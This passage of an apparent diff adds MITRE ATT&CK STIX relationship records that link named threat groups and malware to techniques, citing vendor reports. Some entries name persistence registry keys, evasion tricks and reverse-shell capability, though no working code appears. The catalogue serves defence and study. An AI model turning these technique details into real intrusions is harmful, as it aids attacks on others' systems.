16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain a list of active connections and open ports.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--24bce281-7858-4a42-bfd6-601800fb63f7", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) downloader code has included \"0\" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--cc13f316-0f88-4ed1-8790-b13bc35be119", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.371Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample checks for the presence of the following Registry key:HKEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-Qt.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.067Z", + "id": "relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.445Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Starloader](https://attack.mitre.org/software/S0188) has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--90e64a7a-42e6-4b95-ae85-5ac324d7f6e2", + "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "source_name": "Symantec Sowbug Nov 2017", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--1bbb499c-81c8-4e94-8305-86b199e8298b", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", + "source_name": "Microsoft Wingbird Nov 2017", + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can upload and download files to the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--42914dfa-9644-4bf6-bb5f-45c0e3303d7b", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) accesses network share(s), enables share access to the target device, copies an executable payload to the target system, and uses a [Scheduled Task](https://attack.mitre.org/techniques/T1053) to execute the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--38ea7367-26e7-4a6a-b735-e98e3a35450a", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "source_name": "FireEye Shamoon Nov 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "The net start command can be used in [Net](https://attack.mitre.org/software/S0039) to find information about Windows services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.548Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[APT28](https://attack.mitre.org/groups/G0007) regularly deploys both publicly available and custom password retrieval tools on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.039Z", + "id": "relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:13.387Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[Dyre](https://attack.mitre.org/software/S0024) can detect sandbox analysis environments by inspecting the process list and Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--17f9d6c8-f938-4532-b834-3834655911b8", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "modified": "2019-04-24T23:21:07.894Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "source_name": "Symantec Dyre June 2015", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can gather information on the victim username.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2f8d5603-0876-41dd-9fdb-ca9dc0ad6253", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[yty](https://attack.mitre.org/software/S0248) packs a plugin with UPX.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cbb27eed-2e1c-4675-a077-28765060b349", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.209Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can search directories for files on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fe1c5e06-ea4b-4286-af2d-984a095f7924", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Dyre](https://attack.mitre.org/software/S0024) decrypts resources needed for targeting the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6d1074cb-a9eb-4237-b8b2-d823cfa1408b", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "modified": "2019-04-24T23:21:07.895Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "source_name": "Symantec Dyre June 2015", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs process discovery using tasklist commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.494Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can receive and execute commands with cmd.exe. It can also provide a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9194756f-c455-427b-9fb0-4887c7bf3bf3", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c327c333-46c4-4e23-81e0-2f0e07c24c11", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) uses the certutil command to decode a payload file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--566d783a-2d86-4b9a-8ca0-5013de5f7fb4", + "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "source_name": "OilRig New Delivery Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) enumerates registry keys with the command regkeyenum and obtains information for the Registry key HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f8705660-10d1-4eca-80c6-f2884cdecb36", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Some data in [Remsec](https://attack.mitre.org/software/S0125) is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "source_name": "Symantec Remsec IOCs", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) encrypts C2 traffic with AES and RSA.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b380ad90-2f3b-4f98-ae23-3dfdba448e0a", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "modified": "2019-04-24T23:41:40.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "source_name": "FireEye POSHSPY April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "Commands such as net view can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about available remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--31ec568c-53c7-4dfb-8bfb-bfb7addca7ee", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", + "description": "If a victim meets certain criteria, [T9000](https://attack.mitre.org/software/S0098) uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs \u2013 %APPDATA%\\Intel\\ResN32.dll and HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs \u2013 0x1.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3d16b34f-f58b-4469-a0ef-7585f88d6001", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[APT18](https://attack.mitre.org/groups/G0026) actors leverage legitimate credentials to log into external remote services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.060Z", + "id": "relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.751Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RSA2017 Detect and Respond Adair", + "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can execute shell commands using cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--283ba525-5180-461a-989b-87fc2f896ed7", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.069Z", + "id": "relationship--64a17aba-5182-4666-bd37-dafa9d835fe8", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can inject a variety of payloads into processes dynamically chosen by the adversary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--aa243e70-fba4-4f8a-8b5e-1ac826eac593", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "created_by_ref": 